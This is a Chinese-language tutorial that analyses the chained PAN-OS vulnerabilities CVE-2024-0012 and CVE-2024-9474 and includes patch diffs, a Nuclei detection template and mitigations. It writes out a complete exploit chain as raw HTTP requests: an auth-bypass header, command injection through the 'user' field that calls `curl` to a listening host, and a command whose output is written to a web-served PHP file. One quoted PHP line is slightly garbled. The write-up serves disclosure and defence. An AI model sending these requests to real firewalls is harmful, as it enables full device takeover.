Palo Alto 防火墙漏洞 CVE-2024-0012 和 CVE-2024-9474 技术分析与利用指南

漏洞概述

本教学文档详细分析 Palo Alto Networks PAN-OS 系统中的两个关键漏洞：

1. CVE-2024-0012 - 管理Web界面中的身份验证绕过漏洞
2. CVE-2024-9474 - 权限提升至远程代码执行漏洞

这两个漏洞可被串联利用，使攻击者能够完全控制受影响的 Palo Alto 防火墙设备。

漏洞背景

CVE-2024-0012 (身份验证绕过)

该漏洞存在于 PAN-OS 的 Nginx 配置中，允许攻击者绕过身份验证机制直接访问受保护的端点。

CVE-2024-9474 (命令注入)

这是一个命令注入漏洞，存在于审计日志功能中，允许经过身份验证的用户执行任意系统命令。

技术细节分析

CVE-2024-0012 分析

漏洞根源

漏洞源于 Nginx 配置文件的修改，特别是 /etc/nginx/conf/locations.conf 文件中的变化：

add_header Allow "GET, HEAD, POST, PUT, DELETE, OPTIONS";
if ($request_method !~ ^(GET|HEAD|POST|PUT|DELETE|OPTIONS)$) {
    return 405;
}
+proxy_set_header X-Real-IP "";
+proxy_set_header X-Real-Scheme "";
+proxy_set_header X-Real-Port "";
+proxy_set_header X-Real-Server-IP "";
+proxy_set_header X-Forwarded-For "";
+proxy_set_header X-pan-ndpp-mode "";
+proxy_set_header Proxy "";
+proxy_set_header X-pan-AuthCheck 'on'; # rewrite_log on;

关键问题在于：

1. 默认设置了 X-pan-AuthCheck 头为 on
2. conf/proxy_default.conf 被添加到 .js.map URI 处理程序中

利用方法

通过发送包含 X-PAN-AUTHCHECK: off 头的请求，可以绕过身份验证：

GET /php/ztp_gate.php/.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off

CVE-2024-9474 分析

漏洞根源

漏洞存在于 /var/appweb/htdocs/php-packages/panui_core/src/log/AuditLog.php 文件：

class AuditLog extends InjectableClass {
    public function write($username, $message) {
        var ShellSanitizer */ 
        $s = $this->ioc->get(ShellSanitizer::class); 
        $msg = $s->escapeshellarg($message); 
        /** @var Process */ 
        $p = $this->ioc->get(Process::class);
        - return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $username");
        + $u = $s->escapeshellarg($username);
        + return $p->pexecute("/usr/local/bin/pan_elog -u audit -m $msg -o $u");
    }
}

补丁显示之前版本未对 $username 进行适当的转义，导致命令注入。

利用方法

1. 首先利用 CVE-2024-0012 绕过身份验证
2. 通过 /php/utils/createRemoteAppwebSession.php 创建伪造会话
3. 注入恶意命令到 user 参数

POST /php/utils/createRemoteAppwebSession.php/aaaa.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 99

user=`curl {{listening-host}}`&userRole=superuser&remoteHost=&vsys=vsys1

完整利用链示例

步骤1: 身份验证绕过

GET /php/utils/CmsGetDeviceSoftwareVersion.php/.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off

步骤2: 创建恶意会话

POST /php/utils/createRemoteAppwebSession.php/watchTowr.js.map HTTP/1.1
Host: {{Hostname}}
X-PAN-AUTHCHECK: off
Content-Type: application/x-www-form-urlencoded
Content-Length: 107

user=`echo $(uname -a) > /var/appweb/htdocs/unauth/watchTowr.php`&userRole=superuser&remoteHost=&vsys=vsys1

步骤3: 触发命令执行

GET /index.php/.js.map HTTP/1.1
Host: {{Hostname}}
Cookie: PHPSESSID=2qe3kouhjdm8317f6vmueh1m8n;
X-PAN-AUTHCHECK: off
Connection: keep-alive

步骤4: 验证命令执行

GET /unauth/watchTowr.php HTTP/1.1
Host: 192.168.1.227
Cookie: PHPSESSID=fvepfik7vrmvdlkns30rgpn1jb;
X-PAN-AUTHCHECK: off
Connection: keep-alive

检测方法

Nuclei 检测模板

CVE-2024-0012 检测

id: palo-alto-vpn-CVE-2024-0012-check-wt
info:
  name: Palo Alto PAN-OS Authentication Bypass in the Management Web Interface CVE-2024-0012
  author: watchTowr
  severity: critical
  description: |
        An authentication bypass in Palo Alto Networks PAN-OS software enables an unauthenticated attacker with network access to the management web interface to gain PAN-OS administrator privileges to perform administrative actions, tamper with the configuration, or exploit other authenticated privilege escalation vulnerabilities like CVE-2024-9474.
  tags: palo-alto
metadata:
  max-request: 4
http:
  - method: GET
    path:
      - "{{BaseURL}}/php/utils/CmsGetDeviceSoftwareVersion.php/.js.map"
    headers:
      X-PAN-AUTHCHECK: off
    stop-at-first-match: true
    matchers-condition: and
    matchers:
      - type: word
        condition: or
        words:
          - "0.0.0"
      - type: status
        status:
          - 200
      - type: word
        part: header
        words:
          - "Expires: 0"
          - "PHPSESSID="
          - "application/json"

CVE-2024-9474 检测

参考 GitHub 上的检测脚本：
https://github.com/Chocapikk/CVE-2024-9474

缓解措施

1. 立即应用 Palo Alto Networks 发布的最新安全补丁
2. 限制对管理界面的网络访问
3. 监控异常的管理界面访问尝试
4. 审查系统日志中的可疑活动

参考链接

• 原始分析报告: https://labs.watchtowr.com/pots-and-pans-aka-an-sslvpn-palo-alto-pan-os-cve-2024-0012-and-cve-2024-9474/
• CVE-2024-9474 PoC: https://github.com/Chocapikk/CVE-2024-9474